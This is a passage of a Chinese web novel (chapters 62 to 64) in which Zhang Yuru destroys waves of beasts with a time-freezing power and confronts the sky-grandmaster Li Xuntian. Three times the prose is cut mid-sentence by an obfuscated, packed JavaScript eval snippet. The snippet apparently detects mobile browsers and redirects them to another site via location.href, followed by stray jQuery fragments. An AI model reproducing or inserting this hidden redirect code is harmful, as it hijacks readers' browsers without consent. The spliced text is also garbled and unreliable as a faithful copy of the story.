紧接着,变化开始发生——它身上的厚皮以肉眼可见的速度失去光泽,从青灰色变成了暗褐色,再变成枯槁的灰色。 原本油亮的毛发从根部开始变白、变脆,一缕缕脱落下来,飘落在空中,很快便化为细小的尘埃。 它的爪子失去了往日的锋利,爪尖开始崩裂、脱落,露出里面粉嫩的肉垫,很快也变得干枯、褶皱。 肌肉在皮肤下迅速萎缩,原本紧绷的脊背变得塌陷,身体也开始缓缓下坠,最终“扑通”一声落在地上,再也没有了动静。 张玉汝没有停顿,继续向前走。 当他经过玄甲兽藏身的枯草丛时,那只一直潜伏的如同蜥蜴一般的兽突然从枯草里窜了出来,尾巴猛地向张玉汝甩去,尾尖的骨刺带着幽蓝的光,直指他的后心。 可还没等骨刺碰到光芒屏障,黑白光芒便再次流转——黑色的光丝缠上了它的尾巴,白色的光晕罩住了它的身体。 鳞甲兽的动作瞬间静止了。 它保持着甩尾的姿势,身体僵在原地,眼睛里的光芒迅速黯淡下去。 它背上的鳞甲开始一片片脱落,每一片鳞甲落地时都会发出“咔嚓”的脆响,像是易碎的玻璃;尾尖的骨刺失去了幽蓝的光泽,变得灰白、脆弱,轻轻一碰便碎成了粉末。 它的身体开始收缩,鳞甲下的肌肉迅速干瘪,原本圆溜溜的眼睛凹陷下去,最后只剩下一具干枯的骨架,散落在枯草里,风一吹,便与土块、枯草混在了一起。 低空的铁羽禽见同伴接连倒下,发出一阵尖锐的啼鸣,三只铁羽禽同时俯冲下来,翅膀扇动的劲风卷起漫天沙尘,爪尖和尖喙都泛着致命的光。 可就在它们靠近张玉汝周身五米范围时,黑白光芒突然向上延伸,形成一道光柱,将三只铁羽禽都罩在了里面。 铁羽禽的俯冲动作瞬间停止。 它们悬在空中,翅膀保持着扇动的姿势,却再也无法移动分毫。 黑色的光丝缠上了它们的翅膀,白色的光晕罩住了它们的身体。 很快,它们身上的铁羽开始脱落,一片片黑色的羽毛像断了线的风筝般飘落,落在地上便碎成了铁屑;它们的尖喙开始崩裂,从弯钩状变成了残缺的形状,最后彻底脱落;翅膀上的肌肉迅速萎缩,原本强劲的翅膀变得干瘪、无力,再也无法支撑身体的重量。 那群铁羽禽先后从空中坠落,落在地上时,只剩下几具干枯的尸体,羽毛和肌肉早已化为尘埃,只有几根残缺的骨头散落在土块上。 张玉汝依旧没有回头,他的步伐依旧平稳,周身的黑白光芒缓缓收敛,重新变回了最初流转的模样。 他走过青纹兽的尸体,走过玄甲兽的骨架,走过铁羽禽的残骸,每一步都踩在苍茫的旷野上,身后留下一串浅浅的脚印,很快便被风沙覆盖。 风依旧在旷野里呜咽,枯草丛依旧在风中“沙沙”作响,远处的胡杨依旧扭曲地指向天空,可那些曾经充满攻击性的异兽,却都变成了这片旷野里的尘埃与枯骨。 张玉汝抬头望了一眼铅灰色的天幕,眼神平静无波,仿佛刚才那惊心动魄的一幕从未发生过——对他而言,这或许只是旷野行走中,一段再寻常不过的插曲,而这片旷野的苍茫风光,终究还是没能好好欣赏。 风卷着沙尘,在张玉汝身后拉出一道越来越长的虚影。 他的脚步依旧平稳,只是素白的衣摆上,早已沾了不少异兽的残屑。 青纹兽干枯的毛发、玄甲兽碎裂的甲片、铁羽禽锈蚀的羽尖,这些细碎的东西混在沙尘里,随着他的步伐轻轻晃动,又被风一点点吹落,散在龟裂的土路上。 路好像真的没有尽头。 铅灰色的天幕始终压在头顶,远处的胡杨依旧是那几棵,扭曲的枝桠像是永远停在同一个姿势,连风的呜咽声都没什么变化,只有地上的异兽尸体在不断堆叠,从最初的零星几具,渐渐铺成了一条断断续续的“尸路”。 又一只异兽冲了上来。 这次是只巨角兽,身躯像壮硕的水牛,头顶的独角泛着暗金色的光,足有半人高,尖端锋利得能刺穿岩石。 它从土塬的另一侧狂奔而来,四蹄踏在土块上发出“咚咚”的巨响,像是在敲打着大地的鼓点,扬起的沙尘在它身后形成一道黄色的雾带。 它的眼睛是血红色的,死死盯着张玉汝的后背,鼻腔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16657652|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里喷出粗重的气息,带着铁锈般的腥气——显然,它没看到前面同类的残骸,或者说,即便看到了,也被本能的凶性冲昏了头脑。 张玉汝没有回头,甚至连脚步都没顿一下。 周身流转的黑白光芒像是早有预判,在巨角兽靠近三米范围时,突然向外漾开一圈涟漪。黑色的光丝迅速缠上巨角兽的四肢,白色的光晕则裹住了它的躯干。 下一秒,巨角兽狂奔的动作骤然凝固,像是被施了定身咒。 它头顶的金色独角开始失去光泽,从尖端向根部慢慢变成灰白色,接着便出现了细密的裂纹,“咔嚓”一声脆响,独角从中间断裂,掉在地上摔成了几块碎渣。 它的皮肤迅速干瘪,原本紧绷的肌肉像被抽走了水分,贴在骨骼上,毛发大把大把地脱落,最后只留下一具干瘪的骨架,“轰”地一声倒在地上,扬起一阵细尘。 这样的场景,已经不知道重复了多少次。冲上来的异兽换了一茬又一茬:有拖着长尾、尾尖带毒刺的毒尾蝎,毒刺刚要刺到光芒屏障,便迅速枯萎成黑色。 有展开翅膀能遮住半片天空的墨翼鸟,翅膀扇动的劲风还没碰到张玉汝,羽毛就开始脱落,最后像断线的风筝般坠落在地;还有浑身裹着熔岩般火焰的赤焰兽,火焰在黑白光芒触碰到的瞬间就熄灭了,身躯很快便失去温度,变成一具焦黑的尸体。 它们前仆后继地冲上来,像是不知道死亡为何物,每一次攻击都带着致命的狠劲,却又每一次都在触碰到张玉汝周身光芒的瞬间,静止、衰败、死亡。 这一幕就像被按了重播键,动作、过程、结局都大同小异,只有异兽的形态在不断变换,让这片苍茫的旷野,多了几分单调的残酷。 张玉汝的眼神依旧平静,只是在又一只异兽倒在地上时,他抬起了右手。 指尖微微一动,一抹淡蓝色的光晕便从他掌心缓缓散出——那光晕像是凝结的晨雾,带着一丝微凉的气息,此刻在铅灰天幕下,却透着一种柔和的冷缓缓升腾。 紧接着,光晕开始分解,变成无数细小的蓝色粉末,像冰晶碎屑般,被风轻轻一吹,便四散飘开。 有的粉末落在地上,沾在异兽的残骸上,很快便没了踪迹;有的被风卷着,飘向远处的枯草丛,让枯草的叶尖短暂地沾了一丝淡蓝,随即也消散了;还有些粉末落在张玉汝的衣襟上,像是细碎的雪花,轻轻一碰,便化作了虚无。 不过片刻,那抹淡蓝色的光晕就彻底消失了,连一丝痕迹都没留下——玄霜云珀,这个曾陪他走过生死的宝物,终究还是散了。 张玉汝垂下手,指尖还残留着一丝微凉的触感,那是玄霜云珀最后的温度。 他的脸上没有丝毫遗憾,既没有因为失去宝物而怅然,也没有因为宝物消散而惋惜,只有一种淡然。 他想起得到玄霜云珀的那天。 那是在凉风之山的万丈冰川之上,在击杀了半步宗师的白镜之后,张玉汝从白镜的尸体上拿到了它,并且依靠它所提供的力量离开了那个十死无生的险境。 可这份救命的力量,后来却成了他的制约。 那次受伤太重,他的核心区域几乎碎裂,迫不得已之下,他只能引导玄霜云珀的力量进入核心区域,让它像“补丁”一样,填补着受损的地方,渐渐与自己的身体融为一体。 从那以后,玄霜云珀的力量成了他生命力的一部分——没有它,他无法活到现在,更无法走到这片旷野。 可也因为它,他的力量运转始终带着一丝滞涩,像是有层无形的冰壳裹在核心区域,无论怎么修炼,都无法触及更高的境界。 它是助力,也是枷锁。 得之,他幸,靠着它活了下来,走了更远的路;失之,他亦坦然,因为外物终究是外物,再珍贵的宝物,若成了前行的阻碍,那失去,便是必然。 风又吹了过来,卷走了最后一丝玄霜云珀的粉末。 张玉汝感受着体内的变化——核心区域那层滞涩的冰壳消失了,能量流转得比以往任何时候都要顺畅,黑色的光丝与白色的光晕在他周身缠绕,比之前更显纯粹。 他轻轻握了握拳,指尖传来久违的通透感,仿佛连空气都变得轻盈了些。 他抬头望了一眼依旧苍茫的旷野,路还是没有尽头,远处的异兽似乎还在蠢蠢欲动。 “还不出来吗?单单靠这些异兽可对付不了我。”张玉汝轻笑着望向天空。 第 63章 巡天 铅灰天幕下,旷野的风还在呜咽,卷起的沙尘粘在张玉汝素白的衣摆上,又被他周身流转的黑白微光轻轻拂去。 他抬头望着远方,龟裂的土塬依旧向天际线铺展,那些潜藏在土坡后、枯草丛中的异兽,只敢缩在暗处蠢蠢欲动,喉咙里偶尔传出低低的嘶吼,却没再像之前那样前仆后继地冲上来。 像是感知到了更危险的气息,又像是在等待什么信号。 张玉汝的目光从旷野收回,缓缓抬向天空,嘴角勾起一抹极淡的笑,声音不高,却能清晰地穿透风幕,落在空旷的天地间:“还不出来吗?单单靠这些异兽,可对付不了我。” 他的语气里没有丝毫紧张,反而带着几分了然,仿佛早已看穿了这片旷野里隐藏的把戏。 话音刚落,天空中便传来一道声音。 那声音厚重而沉闷,像是暴雨来临前,雷霆在乌云里不断酝酿、翻滚,每一个字都带着震得人耳膜发颤的力道,却又看不清声源在何处,只觉得整片天幕都成了发声的容器:“哦,居然被发现了吗?” 那声音里透着几分意外,又有几分被拆穿后的无奈,停顿了片刻,似是带着一丝惋惜般叹息道:“既然被看破了,那就让你死得明白一些吧。” 话音落下的瞬间,天空中忽然亮起了点点微光。 起初只是极细极小的苍青色光点,像被风吹散的萤火,零星地散落在铅灰的天幕上,不仔细看几乎难以察觉。 可不过眨眼的功夫,那些光点便开始迅速下坠,速度越来越快,体积也在不断壮大。 原本只有米粒大小的光点,下坠百米后便长成了拳头大小的光团,苍青色的光芒愈发浓烈,还拖着长长的尾迹,像是被拉长的绸缎,在天幕上划出一道道亮眼的弧线。 更多的苍青色光点从云层后钻了出来,密密麻麻地布满了半个天空,像是有人打翻了装着星光的匣子。 它们一同下坠,速度快得几乎拉出了残影,苍青色的光团越来越亮,尾迹也越来越长,交织在一起,竟真的像一场骤然降临的流星雨——绚烂、璀璨,带着一种惊心动魄的美丽。 若是在远方的城镇里,有人看到这一幕,定会停下脚步,双手合十对着流星许愿,盼着平安、盼着顺遂,把这突如其来的光雨当成上天赐予的浪漫。 可张玉汝站在这片旷野的正中央,是这场“流星雨”唯一的攻击目标,他清楚地知道,这份美丽背后藏着怎样致命的危险。 他微微眯起眼,目光扫过每一颗下坠的苍青色光团,指尖的黑白光芒不自觉地凝实了几分。 他能清晰地感知到,每一颗光团里都蕴含着狂暴的力量——那力量炽热而锐利,像是压缩了无数道惊雷,只要触碰到地面,便会炸开足以摧毁半个山岳的冲击。 更不用说若是直接命中人体,哪怕是大师级能力者,也会在瞬间被力量撕碎经脉、震碎脏腑,连挣扎的机会都没有。 一颗苍青色光团率先坠到离地面不足百米的地方,光团周围的空气都被烤得微微扭曲,尾迹在天幕上留下一道淡青色的痕,像是要把铅灰的云都划开。 张玉汝没有动,只是盯着那道越来越近的光,周身的黑白光芒开始缓缓流转,黑色的光丝贴着他的袖口游走,白色的光晕则在他身前形成一道更厚的屏障,两种颜色交织着,像是在酝酿着应对之策。 更多的光团紧随其后,密密麻麻地从天空砸下来,苍青色的光芒照亮了整片旷野,连地上异兽的残骸都被染上了一层淡青,风里也多了几分炽热的气息。 这场美丽的流星雨,此刻成了最致命的杀局,每一颗坠落的光团,都像是一把悬在头顶的剑,随时准备刺穿张玉汝的防御,将他留在这片苍茫的旷野里。 张玉汝依旧站在原地,没有后退半步,嘴角的笑意早已敛去,眼神变得愈发沉静。 他抬头望着漫天坠落的苍青色流星,指尖的黑白光芒愈发明亮,像是要与那璀璨的光雨对峙一般——在这片看似没有尽头的旷野里,一场比异兽**更凶险的战斗,终于要拉开序幕了。 苍青色的流星还在不断坠落,光团划破空气时发出“咻咻”的锐响,炽热的气浪扑面而来,将张玉汝素白的衣摆吹得猎猎作响。 面对这密集到几乎无死角的攻击,他没有丝毫慌乱,周身流转的黑白二色光芒忽然变得愈发浓郁。 黑色的光丝像有生命般缠绕上他的手腕,白色的光晕则在他头顶凝聚成一道淡而透明的弧光。 两种颜色交织间,他的眼眸缓缓闭上,再睁开时,原本清澈的瞳孔已被一片混沌取代,像是将昼夜、生死都揉碎在了眼底。 「造化之眼」先启。 混沌的眼眸中,无数细微的光痕骤然亮起,每一道光痕都精准对应着一颗下坠的流星。 那些流星的轨迹不再是肉眼所见的直线,而是被拆解成了无数个节点:从天空某一点出发的初始速度、途经云层时受到的风阻、接近地面时的重力加速度,甚至连光团内部能量的波动频率,都清晰地呈现在张玉汝的感知里。 他能“看”到,最左侧那颗流星会在离地八十米处微微偏折,正前方那颗则会在六十米处突然加速——所有轨迹与最终落点,都被「造化之眼」精准计算,没有丝毫遗漏。 紧接着,「加速世界」全开。张玉汝的身体忽然泛起一层极淡的白光,像是被一层无形的屏障包裹。 外界的景象在他眼中开始变慢:苍青色的流星下坠速度仿佛被拉长,光团划过空气的轨迹变得清晰可见,连风卷沙尘的动作都慢了半拍。 而他的思维却在以数百倍的速度运转,脑海中如同有一张无形的地图在迅速展开,根据「造化之眼」计算出的流星轨迹,瞬间规划出了一条最安全的闪躲路线。 先向左侧横跨三步,避开那颗偏折的流星,再向后退半步,躲开正前方加速的光团,最后旋身侧移,让过右侧两颗几乎同时坠落的流星。 身体的反应与思维同步。 张玉汝的动作轻盈得像一阵风,脚尖在龟裂的土块上轻轻一点,便已横向移出三米,衣摆擦过一颗流星的尾迹,却未被炽热的气浪灼伤分毫。 他的闪躲没有丝毫狼狈,每一步都踩在最精准的位置,时而侧移,时而旋身,时而轻跳,仿佛不是在躲避致命的攻击,而是在旷野中跳一支从容的舞,颇有几分闲庭信步的悠然。 而「颠倒世界」则如同一道隐秘的防线,在他周身悄然铺开。 墨色的光纹在他脚下若隐若现,形成一个直径三米的圆形阵法,阵法中流转着黑白交织的微光。 这是他为突发状况准备的保底之策——一旦有流星的轨迹超出预判,或是出现意外的变化,「颠倒世界」便能瞬间激活。 “啧。”天空中的声音再次响起,那沉闷的语调里带着一丝被打乱计划的不悦,“倒是有点本事。” 话音刚落,更多的苍青色流星从云层后涌了出来,密密麻麻地布满了整片天幕,比之前多了近三倍。 更棘手的是,这些流星的轨迹不再固定。 有的在半空突然加速,光团瞬间变得更亮,下坠速度快了一倍;有的则骤然减速,像是被无形的手拽了一下,停顿半秒后又猛地向下砸去。 还有的甚至在半空突然变向,原本朝着张玉汝左侧坠落的流星,忽然拐了个弯,直扑他的后背——每一颗流星的变化都毫无规律,像是在刻意打乱他的预判。 可张玉汝的眼神依旧平静。「加速世界」带来的思维加速,足以跟上流星变化的速度。 流星突然加速时,他的脑海中瞬间调整路线,脚步加快半拍,提前避开;流星骤然减速时,他便顺势向前多走一步,将闪躲的距离缩短。 流星突然变向时,「造化之眼」早已捕捉到光团内部能量的波动,提前预判了变向的方向,让他有足够的时间调整姿态。 唯有一次,三颗流星同时从不同方向变向,形成了一道几乎无缝的包围圈,眼看就要将他笼罩。 就在这时,张玉汝脚下的「颠倒世界」骤然激活!淡灰色的光纹瞬间向上展开,化作一张巨大的光网,光网的每一根丝线都由墨色能量交织而成。 三颗流星撞在光网上,发出“砰砰砰”的闷响,苍青色的光团在光网上剧烈挣扎,却始终无法突破那层看似脆弱的光网。 片刻后,光团的光芒逐渐黯淡,最后化作细碎的光点,消散在风里。 这场流星雨仿佛无穷无尽,从最初的稀疏到后来的密集,足足持续了一个时辰。 攻击的强度也在不断攀升——若是用雨来形容,刚开始时不过是连绵的细雨,苍青色的流星虽密,却带着几分迟缓,光团的力量也相对温和。 可到了后来,便成了倾盆暴雨,流星下坠的速度快得几乎拉出残影,光团的体积也大了一圈,落在地上时冲击波卷着碎石四处飞溅,将周围的一切都碾成了粉末。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667397|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铅灰色的天幕被苍青色的光芒染透,整片旷野都被笼罩在炽热的气浪里,地上的异兽残骸早已被流星的冲击波掀飞,龟裂的土块变得更加破碎,连远处的胡杨枝干都被飞溅的碎石砸得“簌簌”作响。 可张玉汝依旧在流星雨中从容闪躲,「造化之眼」洞察轨迹,「加速世界」规划路线,「颠倒世界」应对意外,三项能力配合得天衣无缝。 苍青色的流星终于停止坠落,最后一颗光团砸在张玉汝身侧,炸开的冲击波卷着碎石擦过他的衣角,在素白的衣料上留下一道浅灰的痕迹——这是一个时辰“暴雨”过后,他身上仅有的污渍。 他微微垂眸,抬手拂去肩头的尘土,指尖因长时间运转能力而泛着淡淡的白,眼底也藏着一丝不易察觉的疲惫,但脊背依旧挺得笔直,语气平稳得像是在与故人闲谈:“阁下不在前线抵御异兽,反而来这里对付我,恐怕在长安镇守那里,不好交代吧?” 天空中的声音沉默了片刻,随即传来一声带着几分复杂的叹息:“你这小子,的确有些出乎意料。难怪九天他们几个,联手都对付不了你。” 张玉汝的眉头微微蹙起,指尖的黑白光芒不自觉地凝了凝。 对方的语气里带着一种久居上位的傲慢,且对自己的过往似乎了如指掌,再结合那能操控天幕、召唤流星的实力,答案几乎呼之欲出。 他抬眼望向铅灰的天空,声音里多了几分锋芒:“大宗师阁下难道就是这样的藏头露尾之辈?到了现在,还不愿意露出真容吗?” “藏头露尾?”听到这话,那道声音的主人——天人李家的大宗师李巡天,非但没有生气,反而爆发出一阵爽朗的大笑。 笑声从天空的每一个角落传来,像是云层在震动,连旷野里的风都跟着变得急促,卷起地上的碎土,打在张玉汝的衣摆上:“果然是没有见识的小辈!你抬头看一看,我不是一直都在这里吗?” 这话让张玉汝心头一沉。 他依言抬头,目光扫过整片天幕——依旧是那片压得极低的铅灰色云层,云层缝隙里偶尔闪过几缕微弱的雷光,除此之外,什么都没有。 没有身影,没有气息,甚至连能量波动都与寻常天空无异。 “他在耍我?”张玉汝心中闪过一丝疑惑,可很快又被他否定——大宗师级别的强者,绝不会用这种幼稚的方式戏耍对手,这里面一定有他没看穿的玄机。 “不对。”张玉汝猛地眯起眼,混沌的光芒再次涌上瞳孔,「造化之眼」全力运转。 这一次,他没有再关注地面的痕迹,而是将所有感知都集中在头顶的天空上。 起初,云层依旧是模糊的灰色,雷光也只是细碎的光点。 可随着「造化之眼」的深入,那些云层开始在他眼中慢慢“透明”,原本杂乱的云气,竟隐隐呈现出一种规律的流动——像是人体经脉里的气血在循环。 更让他心惊的是那些雷光。在「造化之眼」的映照下,细碎的雷光逐渐汇聚,勾勒出一道道粗壮的“脉络”,脉络与脉络交织,竟在云层深处形成了一个巨大的、与人形相似的轮廓! 那轮廓覆盖了整片旷野的上空,头颅在西方的云层里,双臂延伸至南北两侧的地平线,双腿则隐没在东方的云雾中。 也就是说,从他踏入这片旷野开始,头顶的整片天空,就是李巡天的化身! “看到了?”李巡天的声音再次响起,这次多了几分戏谑,“现在明白,为什么我能如此悠闲地对付你了吧?” 张玉汝的面色彻底凝重起来,指尖甚至微微有些发凉。 他终于意识到自己陷入了怎样恐怖的局面——之前他以为,自己只是进入了李巡天的领域,只要找到领域的破绽,就能有反击的机会。 可现在看来,他根本不是在对方的领域里,而是在李巡天的“身体”当中! 这片旷野、这片天空,都是对方身体的一部分,对方想从哪里发动攻击,就能从哪里发动攻击;想持续多久,就能持续多久。 难怪那一个时辰的流星“暴雨”没有让李巡天露出丝毫疲惫,难怪他能精准地掌控每一颗流星的轨迹。 风再次吹过旷野,卷着云层的气息,落在张玉汝的脸上。 这一次,他清晰地从风里感受到了李巡天的气息——与天空融为一体的、庞大而压抑的气息。 张玉汝深吸一口气,压下心中的震撼,周身的黑白光芒再次流转起来。 第 64章 实力 铅灰色的云层像是被无形的力量压得极低,沉闷的气压让每一次呼吸都带着滞涩感。 张玉汝刚稳住因方才激斗而有些虚浮的脚步,一道冷冽如冰棱的声音便从云层深处渗透下来——不疾不徐,却带着不容置疑的压迫感,仿佛连空气都被这声音冻住了几分:“小子,不必挣扎了。秦戍是注意不到这里的。” 天空之上,并无实体身影,可那属于李巡天的气息却如蛛网般笼罩下来,让人心头发紧。 而他口中的“秦戍”二字,在长安地面上,向来带着沉甸甸的分量——那是现任长安镇守,手握军政实权,是能让雍州诸多权贵都忌惮三分的人物。 有趣的是,秦戍虽姓秦,却与雍州四大家族里的秦家毫无瓜葛。 他并非出身高门大族,而是从边境军营里一刀一枪拼出来的将领,性子更是出了名的烈如火炭,眼里半点儿沙子都揉不得。 上任长安镇守的头三日,他便掀了城西粮商囤积居奇的案子。 那粮商背后站着雍州本地的老牌家族,可秦戍半点情面没留,直接封了粮仓、押了人犯,连带着查处了十三个收**赂的地方官员,一时间长安城内的权贵圈子都被这股“油盐不进”的势头震得噤声。 早在秦戍刚到任时,秦家便动过拉拢的心思。 毕竟同出一姓,若是能让长安镇守成为“自己人”,对秦家在雍州的布局大有裨益。 当时秦家派来的是族中老三秦仲文——那人素来以“长袖善舞”闻名,登门时不仅带了三箱西域进贡的夜明珠,还揣着拟好的“互帮互助”章程,话里话外都是“以后长安地面上,秦家多帮衬镇守大人,大人也给秦家行些方便”的示好。 可秦戍连正眼都没看那闪着珠光的箱子一眼,只站在府门的青石板台阶上,手指着府外的石狮子,声音沉得像砸在地上的铁块:“长安镇守的差事,是守着城里的百姓,不是守着你们秦家的算盘。东西带走,人也别再来了——下次再让我看见这样的事情,休怪我不讲情面。”话落,便转身进了府,只留秦仲文站在门外,脸色青一阵白一阵。 对于这次异兽入侵背后的内情,秦戍看得比谁都清楚。 普通民众或许会被先导会和天人的宣传骗过去——街头巷尾贴满了告示,说异兽入侵是“张玉汝作为内奸带领异兽攻破防线”,把张玉汝定在了耻辱柱上,而对于自己所犯下的错误则是只字不提。 可这些说法,在秦戍眼里不过是自欺欺人的笑话,他比谁都明白,这场灾祸背后,谁才是真正的幕后黑手。 这份清醒,也让秦戍对李巡天的态度自始至终算不上友好。 李巡天是“天空类大宗师”,在雍州的势力盘根错节,平日里总爱打着“调度后方”的名义避重就轻,秦戍最看不惯的就是这种“占着位置不干事”的做派。 每次与异兽对抗,秦戍几乎都是强行压着李巡天一起到前线。 上次议事时,李巡天借口“需坐镇后方统筹物资”,想把前线的烂摊子丢给手下。 秦戍直接抓起桌案上的青铜镇纸拍在案头,震得茶杯里的茶水都溅了出来,声音里带着硝烟味:“李大宗师,前线将士每一刻都在流血,你倒好,躲在后方享清福?今日你要么跟我去前线,要么就把你家的特权全部都取消了,长安不养只会躲懒的闲人!” 最后李巡天没办法,只能不情不愿地跟着去了前线。 此刻,若是秦戍在场,以他的性子,未必会直接出手帮张玉汝——他向来不喜欢管“私人恩怨”。 可他大概率会皱着眉,以“前线危急、需集中力量御敌”为由,沉下脸要求李巡天收回所有力量,不得把心思浪费在这种“私斗”上。 毕竟在秦戍眼里,任何分拨前线战力的行为,都是对长安百姓的不负责。 可李巡天显然早算到了这一点。 虽说他的本体依旧被秦戍死死留在前线,连离开城墙半步都要报备,但身为“天空类大宗师”,他的能力本就不是那么好限制的。 这位大宗师最擅长的便是“化虚为实”,本体虽被盯着,却能将自身力量剥离出一部分,化作游离于天地间的“气蕴”。 只要有云层、有风的地方,就能借势凝聚出临时的力量形态,甚至构建出专属的领域。这也是秦戍明明盯着他的本体,却始终防不住他暗中动作的原因。 张玉汝其实早就在李巡天的视野里了。 从他在斩杀李九天等人时,李巡天便通过散落在长安各处的“气蕴”感知到了动静。 于是,在张玉汝处理完李九天的尸体,转身准备离的那一刻,李巡天动了手。 他暗中调动散落在城区的“气蕴”,以一种近乎“偷天换日”的方式,将张玉汝脚下那片土地连同周围的空间,悄无声息地置换成了自己的领域。 从那之后,张玉汝看似一直在往前走,却始终没能走出李巡天的领域。 而身在前线的李巡天,为了避免秦戍察觉到异常,还故意摆出了一副“全力御敌”的姿态。 可实际上,他的心思全在领域里的张玉汝身上。 为了不被秦戍干扰,也为了“测试”张玉汝的实力,李巡天甚至主动“出击”,用一种极其隐蔽的方式清除异兽。 他的清除方式,说穿了其实就是“甩锅”——他暗中调动领域的力量,在城墙东侧撕开了一道只有他能看见的“裂缝”。 那些原本密密麻麻挤在城墙下、嘶吼着想要爬上城头的异兽,像是被无形的吸力拽着,一个个跌进裂缝里,再出现时,已经落在了张玉汝所在的领域中。 而李巡天剥离出的那部分力量,则在张玉汝头顶化作了一片厚重的“天空”——这片天空和外界的铅灰色云层一模一样,不仅挡住了外界的视线,更把领域里的动静彻底隔绝开来。 这样一来,既不用担心秦戍发现异常,又能借异兽的手试探张玉汝的底细,甚至能借异兽消耗张玉汝的体力,可谓一举两得。 此刻,领域之中,头顶那道属于李巡天的声音,还在慢悠悠地回响:“你杀了我的人,总该付出点代价。好好享受吧,小子——在秦戍反应过来之前,你恐怕离不开这里了。” 那道冰冷的话音还未在领域中完全消散,头顶那片由李巡天力量凝聚的“天空”便骤然亮起。 不是寻常的天光,而是无数道刺眼的绿色光点,如同被打翻的翡翠碎粒,从云层深处争先恐后地涌出来。 短短几个呼吸间,这些光点便密密麻麻地布满了整片天空,遮天蔽日,连一丝缝隙都未曾留下,那规模比先前张玉汝所见的任何一次攻击都要庞大,仿佛整个苍穹都要化作倾泻而下的绿雨。 明眼人都能看出,李巡天这是动了真格。 先前或许还带着几分试探的意味,可此刻这些绿色光点中蕴含的狂暴能量,隔着数十丈的距离都能清晰感知到。 那是足以将岩石轰成齑粉、将钢铁熔化成铁水的力量,每一道光点都像是一颗微型的流星,带着撕裂空气的锐响,在下落的过程中不断膨胀、拉长,淡绿色的光尾拖曳出长长的弧线,密密麻麻交织成一张巨大的光网,朝着张玉汝所在的方向罩来。 “又是这招么?”领域边缘,几个被卷入的低阶异兽还在嘶吼挣扎,可在这铺天盖地的绿光面前,它们的动静显得如此微不足道,甚至有几只异兽被光点的余波扫中,瞬间便化作了一缕黑烟。 张玉汝抬头望着头顶不断逼近的“流星雨”,瞳孔微微收缩。 就在那第一缕绿色光点即将触及张玉汝头顶三尺之处,空气仿佛都要被灼烧出焦味的瞬间,张玉汝却忽然闭上了眼,再睁开时,眼底已没了半分慌乱,只剩下一种近乎凝滞的平静。 他没有选择躲闪,也没有凝聚力量格挡,只是微微抬了抬下巴,薄唇轻启,吐出两个字,声音不高,却带着一种穿透一切喧嚣的力量,在狂暴的能量乱流中清晰地传开: “永恒。” 话音落下的刹那,原本萦绕在他周身、如同两条温顺游龙般的黑白二色光芒,骤然间爆发出耀眼的光华! 黑色光芒如同最深沉的夜幕,以张玉汝为中心,朝着四周迅猛地扩散开来,所过之处,连空气中漂浮的尘埃都仿佛被定住。 而白色光芒则像是最纯净的晨雾,紧随黑色光芒之后,在黑色的边缘勾勒出一层柔和却坚韧的轮廓。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16671493|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >两种光芒交织在一起,形成一道不断扩大的圆形屏障,速度快得惊人,不过一息之间,便从最初的三尺范围,扩散到了覆盖数里的区域。 领域内的一切,都在这一刻陷入了诡异的静止。 那些带着锐响下落的绿色光点,还保持着拉长的光尾形态,却再也无法向下挪动半分,像是被无形的琥珀包裹住,悬停在半空中,连光点表面跳动的能量纹路都凝固了。 远处几只正朝着张玉汝扑来的异兽,前爪还停留在半空,狰狞的表情、飞溅的唾液,甚至嘴角滴落的血丝,都定格成了一幅静止的画面。 就连领域边缘那道由李巡天力量构建的淡蓝色屏障,原本还在微微波动,此刻也彻底停止了起伏,像是一块被冻结的蓝色水晶。 没有能量碰撞的轰鸣,没有光影炸裂的绚烂,只有一种深入骨髓的“静”——仿佛时间被硬生生掐断,整个世界都在黑白光芒的笼罩下,失去了流动的意义。 这便是张玉汝的能力「永恒」:在能量能够覆盖的范围内,强行让事物进入恒定不变的状态,无论是狂暴的攻击,还是奔涌的能量,只要被这黑白光芒触及,便会被剥夺“变化”的可能,永远停留在被笼罩的那一刻。 以往,张玉汝极少会将「永恒」的范围扩散到如此之大。 大多数时候,他只用这股力量护住自己的心脏、咽喉等核心区域——毕竟「永恒」的维持需要消耗大量能量,越是庞大的范围,消耗便越是惊人。 在自然界中,天地间的风、云、光、电无时无刻不在变化,想要用「永恒」恒定周围的一切,无异于以卵击石,就算耗尽他所有的能量,也未必能定住一缕清风。 可此刻,这里是李巡天的领域。 领域虽由李巡天构建,却也意味着这片空间内的所有事物,本质上都是由李巡天的力量衍生而来——无论是天空、地面,还是那些头顶的绿色光点,都遵循着李巡天的力量规则运行。 